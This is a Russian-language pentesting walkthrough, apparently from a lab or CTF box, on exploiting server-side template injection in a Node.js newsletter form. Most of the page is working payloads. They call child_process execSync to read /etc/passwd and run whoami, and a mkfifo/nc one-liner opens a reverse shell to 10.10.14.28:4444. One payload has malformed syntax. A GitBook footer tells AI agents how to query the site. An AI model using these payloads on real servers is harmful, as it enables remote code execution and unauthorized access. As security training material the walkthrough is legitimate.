> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI в Node.js

## SSTI (Node.js)

Мы замечаем функцию, позволяющую пользователям вводить email для подписки на рассылку. Ответ сервера напрямую отображает наш ввод, что указывает на возможную **Инъекция шаблона на стороне сервера (SSTI)**.

<figure><img src="/files/e04a8ce2f1279613a5fc115b1fe09bb10e6a99ef" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a1a7dd7241de43724260c6c243120d87288790bf" alt=""><figcaption></figcaption></figure>

#### Проверка уязвимости

Мы перехватываем запрос с помощью **Burp Suite** и тестируем классическую SSTI:

<figure><img src="/files/07b63fceb2bed1e78bc9f33e1999354c3150710c" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

Если в ответе отображается `81`, то приложение уязвимо, и это как раз наш случай.

<figure><img src="/files/175876ec08700435163f0ca1df968e6504eca44c" alt=""><figcaption></figcaption></figure>

### Чтение `/etc/passwd`

Мы используем приведённый ниже payload, чтобы вывести содержимое `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/a745a9c1c96bec37539dfdbdd3f964f83f9177ec" alt=""><figcaption></figcaption></figure>

#### Получение текущего пользователя

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

Мы получаем `david`.

<figure><img src="/files/47299c91792cdf5f8c6f9bd3572ffdb3fe4cc3bb" alt=""><figcaption></figcaption></figure>

### Обратная оболочка через SSTI (Node.js)

Запуск прослушивателя на порту **4444**:

```bash
nc -nlvp 4444

```

Отправка payload для обратной оболочки:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

Доступ к целевой машине

<figure><img src="/files/b3ad37992aef1762a3b9ba9fd362b41a6f07fd87" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
